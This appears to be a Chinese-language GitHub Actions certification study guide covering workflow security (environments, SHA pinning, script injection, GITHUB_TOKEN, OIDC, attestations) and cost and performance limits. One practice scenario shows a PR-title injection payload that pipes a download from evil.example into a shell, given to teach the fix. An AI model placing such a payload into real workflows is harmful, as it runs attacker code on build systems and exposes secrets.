D5:保護與最佳化自動化
D5-O1 實作安全最佳做法
工作流程是會執行程式碼、持有權限與機密的自動化,所以它本身就是攻擊面。這個目標把防護分成五層:誰能核准部署、用了誰寫的 actions、輸入會不會變成程式碼、權杖能做什麼、憑證有沒有長期存在。
環境保護與核准關卡(environments)
job 參照某個環境時,必須先通過該環境的保護規則才會執行,也才拿得到環境的 secrets;規則沒過就一直等待。環境被刪除時,等待它的 job 會自動失敗。
| 規則 | 內容 |
|---|---|
| 必要審核者(required reviewers) | 最多指定 6 個人或團隊;只要其中一人核准,job 就可以繼續 |
| 防止自我審核(prevent self-review) | 選用;阻止使用者核准自己觸發的執行 |
| 等待計時器(wait timer) | 選用;job 在環境上繼續之前的延遲,以分鐘計(我讀的頁面沒有寫最小與最大值) |
| 部署分支與標籤 | 限制哪些分支與標籤可以部署到該環境;每條規則是名稱樣式,分支與標籤要分別設定 |
| 自訂部署保護規則 | 可啟用用 GitHub App 建立的自訂規則 |
| 管理員繞過 | 預設管理員可以繞過保護規則;可取消「Allow administrators to bypass configured protection rules」 |
環境的 secrets 與 variables 只提供給使用該環境的 job,而且要在規則通過之後。方案限制:GitHub Free 只有公開 repository 能設環境;GitHub Team 的組織與 GitHub Pro 的使用者可以對私有 repository 設環境;某些功能在私有 repository 的可用性有限,我讀的頁面沒有逐項確認必要審核者在每個方案是否可用。
找出值得信任的 actions,並固定版本
- Marketplace 上的 Verified creator 徽章是身分已驗證的有用訊號,但不能取代檢視;不論怎麼固定版本,都要檢視 action 的原始碼,確認沒有把 secrets 傳到非預期的主機或寫進日誌。
- 固定到完整 commit SHA:標籤「可能被移動或刪除」,攻擊者拿下 action 的 repository 後就能改寫標籤。選 SHA 時要確認它來自該 action 的 repository,不是它的 fork。
- 鎖定檔(lockfile):官方建議用 lockfile 鎖定工作流程的相依項目(記錄所有相依項目的確切 commit,含間接相依),並說它對採用的 repository「取代 SHA 固定」。
- Dependabot:version updates 會開 PR 把 actions 更新到新版;security updates 會開 PR 把有弱點的 actions 升到最低修補版。注意:Dependabot alerts 不涵蓋釘在 SHA 的 actions,所以 SHA 固定的 actions 不會產生警示,要靠 version updates。
- 強制的政策(允許/拒絕清單、要求 SHA 固定)屬於領域四。
- 把
.github/workflows加進 CODEOWNERS,讓工作流程的修改需要指定審核者核准。OpenSSF Scorecards 能自動標出風險做法,檢查項目包含 script injection、權杖權限與固定版本的 actions。
Script injection 的防範
${{ }} 在 shell 執行之前就被替換成文字,所以把不受信任的值(例如 PR 標題 github.event.pull_request.title)直接插進 run: 就等於讓攻擊者決定要執行什麼指令。防範做法:
- 首選:把表達式的值設成中間環境變數(
env:),再在指令碼中以"$TITLE"引用,值就不會被用來產生指令碼本身。 - 最好:改用 action,把 context 值當引數傳給 action,而不是寫成內嵌指令碼。
- shell 衛生:用雙引號包住 shell 變數,避免單字分割。
- 最小權限:給 job 最小的
permissions,即使被注入也限制傷害。
官方這一頁沒有列出哪些 context 欄位屬於不受信任的輸入,我也不憑記憶補列。
GITHUB_TOKEN 的生命週期
- 每個 job 開始時,GitHub 自動建立一個獨一無二的
GITHUB_TOKEN;它是 GitHub App 的安裝存取權杖,權限限定在包含工作流程的那個 repository。 - 它在 job 結束時到期,或到它的最長壽命:GitHub 代管 runner 的 job 最長 6 小時,所以權杖最長 6 小時;自管 runner 的 job 可長達 5 天,但權杖最多只能更新到 24 小時,更長的 job 要改用 PAT 或其他驗證方式。
- 用
permissions在工作流程或 job 層級修改權限;預設政策與限制式預設見領域四。官方建議把預設權限設成 repository 內容唯讀,只在需要的 job 提高。 - 與 PAT 的差別:
GITHUB_TOKEN是短期、只限單一 repository 的;GITHUB_TOKEN沒有的權限(例如跨 repository),改用 GitHub App 產生的安裝存取權杖,或存成 secret 的 PAT。 - 由
GITHUB_TOKEN引發的事件通常不會建立新的工作流程執行(避免遞迴);例外是workflow_dispatch與repository_dispatch。pull_request的opened、synchronize、reopened會建立「等待核准」狀態的執行;用GITHUB_TOKEN推送的 commit 也不會觸發 GitHub Pages 建置。若希望工作流程建立的 PR 不經核准就執行,官方建議改用 GitHub App 安裝權杖或 PAT。 - 官方頁面沒有列出
GITHUB_TOKEN的所有權限與none的意思,也沒有寫 fork PR 唯讀;那部分見領域四與官方的 workflow syntax。
用 OIDC 取代長期的雲端憑證
OpenID Connect 讓工作流程不需要把長期憑證存成 GitHub secret,就能向雲端供應商取得短期的存取權杖。
- 工作流程或 job 要有
permissions: id-token: write,GitHub 的 OIDC 提供者才會為這次執行建立 JWT。這個權限並不讓工作流程有權限修改任何資源,它只是允許請求權杖。 - 雲端供應商驗證 JWT 的聲明(claims),通過後核發只供這次 job 使用的存取權杖。必須在雲端端定義至少一個信任條件,才能避免不受信任的 repository 向你的雲端資源請求權杖。權杖到期時間因雲端供應商而異,由供應商端設定。
- 簽發者(issuer)是
https://token.actions.githubusercontent.com;預設的受眾(aud)是 repository 擁有者的網址,自訂 action 可用core.getIDToken(audience)設定不同的值。 - 常用的聲明有
sub、repository、ref、environment、job_workflow_ref、workflow、actor、event_name等。sub的預設格式:- 使用環境的 job:
repo:組織/儲存庫:environment:環境名稱 - 推送到分支:
repo:組織/儲存庫:ref:refs/heads/分支 - pull request:
repo:組織/儲存庫:pull_request - 標籤:
repo:組織/儲存庫:ref:refs/tags/標籤
- 使用環境的 job:
- 可以用 REST API 自訂
sub(include_claim_keys清單,例如加上job_workflow_ref);組織端點是/orgs/{org}/actions/oidc/customization/sub,repository 用PUT /repos/{owner}/{repo}/actions/oidc/customization/sub,{"use_default": false}採用組織範本、{"use_default": true}還原預設。先在雲端供應商建立對應的條件,再改範本,否則權杖可能被拒絕。 - 使用環境時,官方建議替環境加上保護規則。Dependabot 更新 job 的 OIDC 權杖,
event_name聲明是dynamic。 - 官方還提到:2026 年 7 月 15 日之後建立的 repository(或選擇加入的)
sub格式會改成含擁有者與 repository ID 的形式;GitHub Enterprise Server 不提供。
產生並驗證成品證明(artifact attestations)
- 成品證明是對建置來源(provenance)的密碼學簽章聲明,記錄工作流程、repository、組織、環境、commit SHA 與觸發事件,也可附上列出開源相依項目的 SBOM。
- 單獨使用證明可達 SLSA v1.0 Build Level 2;在共用的可重用工作流程中建置,把建置與呼叫它的工作流程隔離,官方說可達 Build Level 3。
- GitHub 用 Sigstore 產生證明:公開 repository 用 Sigstore 公共服務,並寫進可公開讀取的透明日誌;私有 repository 用 GitHub 自己的 Sigstore 實例,沒有透明日誌。
- 在工作流程中用
actions/attest(官方範例是actions/attest@v4)產生;權限需要id-token: write、contents: read、attestations: write,容器映像還要加packages: write;subject-path指向要證明的檔案。 - 消費者用
gh attestation verify <檔案路徑> -R 組織/儲存庫驗證。官方提醒:證明不保證成品是安全的,它只把成品連到來源與建置指示,你仍要自己定義政策。應該簽發的是發行版本、二進位檔、套件與含有雜湊的清單;不要簽發頻繁的測試建置或單一的原始碼、文件、圖片。 - 我讀的頁面沒有說明方案要求(公開與私有的差異是否需要 Enterprise Cloud),本節不下結論。
其他要記的風險
pull_request_target與workflow_run是特權觸發條件,可以取得寫入權限與 secrets;除非需要特權 context 否則避免,也不要在它們裡面 checkout 不受信任的 PR 或 fork 程式碼;需要權限分離時,用workflow_run而不是pull_request_target,並謹慎對待來自其他工作流程的成品。- 自管 runner「幾乎不應該用在公開 repository」,因為任何人都能開 PR 去攻擊環境;與 GitHub 代管 runner 不同,它可能被工作流程中不受信任的程式碼長期入侵。限制機器上的敏感資料、限制對敏感服務(例如雲端中繼資料端點)的網路存取;just-in-time runner 最多只執行一個 job 就移除,降低持久風險。
- secrets 處理:有寫入權限的人可以讀取 repository 的所有 secrets,所以憑證只給需要的權限;不要把 JSON、XML、YAML 整份存成一個 secret,要為每個敏感值建立個別 secret;由 secret 衍生的值(簽章後的 JWT、Base64 編碼)要登記為 secret 才會被遮蔽;若 secret 未遮蔽地出現在日誌,要刪日誌並輪替 secret,並定期輪替、移除不用的 secret。
判斷練習
情境 A: 一個工作流程寫 run: echo "${{ github.event.pull_request.title }}",有人把 PR 標題改成 "; curl evil.example | sh #。
解析: ${{ }} 在 shell 執行前被替換,標題變成指令碼的一部分。改成 env: TITLE: ${{ github.event.pull_request.title }},指令碼內用 echo "$TITLE",值就只是字串,不會被當成指令。
情境 B: 團隊把雲端的長期存取金鑰存成 secret,資安要求改成短期憑證。
解析: 設定 OIDC:job 加 permissions: id-token: write,雲端端建立信任條件(例如限定 sub),工作流程用權杖換短期存取權杖。id-token: write 只允許請求 JWT,不給任何資源的寫入權限。
情境 C: 部署工作流程要經人工核准,但提交者自己核准了自己的部署。
解析: 啟用環境的防止自我審核,並設定必要審核者(最多 6 人,只要一人核准);也可限制部署分支,並取消管理員繞過。
情境 D: 你把第三方 action 釘在 @v4,之後該 action 的 repository 被入侵,v4 標籤被移到惡意 commit。
解析: 標籤可以被移動;固定到完整 commit SHA(且確認 SHA 來自原 repository 而不是 fork),或使用 lockfile。同時注意 Dependabot alerts 不涵蓋釘在 SHA 的 actions,要搭配 version updates。
來源:Secure use reference(GH200-DOC-44)、Manage environments(GH200-DOC-46)、Configuring OpenID Connect in cloud providers(GH200-DOC-45)、OIDC reference(GH200-DOC-49)、GITHUB_TOKEN(概念)(GH200-DOC-52)、Authenticate with GITHUB_TOKEN(GH200-DOC-48)、About artifact attestations(GH200-DOC-47)、Use artifact attestations(GH200-DOC-50);2026-11-03 以頁面原文比對本節的數字與條件。官方 Study Guide 列的「不可變 actions 與版本固定的對齊」這次沒有可核對的頁面(見領域三),本節沒有補寫;SLSA 等級是依官方頁面敘述寫出,我沒有查 SLSA 規格本身。
D5-O2 最佳化工作流程效能與成本
這個目標的官方描述只有兩條:設定快取與成品保留以提高效率(並可用 REST API 以程式設定保留政策),以及「建議擴展與最佳化工作流程的策略」。第二條沒有固定答案,本節把官方文件已核對過的限制與計費事實整理成判斷依據;「策略」的歸納屬教學整理,不是官方清單。
要先知道的限制
| 項目 | 限制 |
|---|---|
| 單一 job 的執行時間 | GitHub 代管 runner 6 小時;自管 runner 5 天;達到上限會被終止並失敗 |
單一步驟的 timeout-minutes |
正整數,最大 360 分鐘 |
| 單次工作流程執行 | 35 天(含執行、等待與核准時間) |
| 矩陣 | 每次工作流程執行最多 256 個 job(GitHub 代管與自管 runner 都適用) |
| 同時執行的 job(GitHub 代管,標準 runner) | Free 20、Pro 40、Team 60、Enterprise 500;larger runners 在 Team 與 Enterprise 都是 1,000;macOS 同時 job:Free、Pro、Team 為 5,Enterprise 為 50 |
| 自管 runner 的 job 佇列 | 排隊 24 小時後自動取消 |
| 工作流程執行的佇列 | 每 10 秒 500 個執行;達到上限時,webhook 事件會觸發的執行被擋下、不排隊;可重用工作流程算作一個 |
| REST API 速率(每小時) | 未驗證 60;PAT 或授權的 app 5,000;GitHub App 安裝權杖 5,000(最多 12,500);GITHUB_TOKEN 每個 repository 1,000(Enterprise Cloud 擁有的資源為 15,000) |
快取與成品
快取的鍵、作用範圍、容量與淘汰規則見領域一;保留期的預設(90 天)與企業上限見領域四。成品用 retention-days 縮短保留,不能超過上層設定的限制;v4 的成品不可變,要為每個階段用新名稱。刪除工作流程執行時,它的成品也一併刪除。
並行控制與取消
concurrency 讓同一群組只同時執行一個:群組名稱不分大小寫;預設會取消同群組中等待(pending)的執行,要連執行中的也取消要設 cancel-in-progress: true;queue 預設是 single,queue: max 最多允許 100 個等待中的執行,但不能與 cancel-in-progress: true 同時使用,否則工作流程驗證失敗。部署工作流程常用 concurrency 避免兩個部署互相覆蓋。
矩陣與 runner 的取捨
- 用
exclude縮小矩陣、用max-parallel限制同時執行數、fail-fast讓一個組合失敗時取消其他組合;fail-fast省下失敗後的分鐘數,但會藏起其他組合的失敗資訊,要權衡。 - 單位成本不同:官方計費頁列出 GitHub 代管 runner 的每分鐘費率(Linux 2 核 x64 約 $0.006、Windows 2 核約 $0.010、macOS 約 $0.062、Linux 1 核精簡 runner $0.002);所以相同工作量,Linux 比 Windows 便宜,macOS 最貴。這些數字會改版,備考與實務都以官方計費頁為準。
- 標準 GitHub 代管 runner 在公開 repository 免費(也不占用方案內含的使用量);自管 runner 的使用不計費,但機器維護成本自己負擔;larger runners 在公開 repository 也要計費。
- 方案內含的使用量是金額,不是分鐘數:Free $12、Pro $18、Team $18、Enterprise Cloud $300(官方換算為 Linux 2 核約 50,000 分鐘)。
- 儲存:成品與 GitHub Packages 共用一個額度(Free 500 MB、Pro 1 GB、Team 2 GB、Enterprise Cloud 50 GB),超出每 GB 每月 $0.25;快取每個 repository 有獨立的 10 GB,超出每 GB 每月 $0.07,以每小時的尖峰用量計算。刪除成品會停止後續計費,但當期已累積的仍會出現在帳單;日誌與較長的工作摘要不計入成品儲存。
- 官方建議的降本做法:用公開 repository 搭配標準代管 runner 或自管 runner、選較便宜的 runner(Linux 優先)、刪除不需要的成品、設定預算並使用 90% 與 100% 的使用量警示。
擴展工作流程時可以考慮的順序(教學整理)
- 先量測:看每個 job 的耗時與失敗率,而不是憑感覺。
- 減少不必要的執行:
concurrency取消過時的執行、把不必要的觸發拿掉。 - 用快取與成品縮短重複工作(鍵要含
hashFiles)。 - 縮小矩陣、設
timeout-minutes,避免卡住的 job 吃掉 6 小時。 - 換 runner:先用更便宜或更快的組合驗證,再考慮 larger runners 或自管 runner(要連同安全與維護成本一起算)。
判斷練習
情境 A: 同一個分支連續推送三次,部署工作流程跑了三份,最後一份被較舊的部署覆蓋。
解析: 加上 concurrency(同一群組)並設 cancel-in-progress: true,新執行會取消舊的;群組名稱不分大小寫。需要排隊而不取消時,用 queue: max(但不能搭配 cancel-in-progress: true)。
情境 B: 公開 repository 的維護者想「省錢」,把一個 6 小時以上的批次作業搬到 GitHub 代管 runner。
解析: GitHub 代管 runner 的單一 job 上限是 6 小時,超過會被終止;這類長作業需要自管 runner(上限 5 天)或拆分。標準代管 runner 在公開 repository 免費,但時間上限仍適用。
情境 C: 快取容量超過預設,帳單出現額外費用。
解析: 每個 repository 的快取預設 10 GB,超出的用量按每 GB 每月計費;最久未存取的快取會先被淘汰。縮小快取、讓鍵能精準命中,或調整政策上限(要權衡額外費用)。
來源:Actions limits(GH200-DOC-51)、Billing for GitHub Actions(GH200-DOC-53)、Workflow syntax(GH200-DOC-10)、Dependency caching(GH200-DOC-06)、Store and share data(GH200-DOC-12);2026-11-03 以頁面原文比對本節的數字與條件。計費頁沒有說明每個 job 的分鐘進位方式,本節沒有寫;費率與內含額度是當日頁面的數字,容易改版。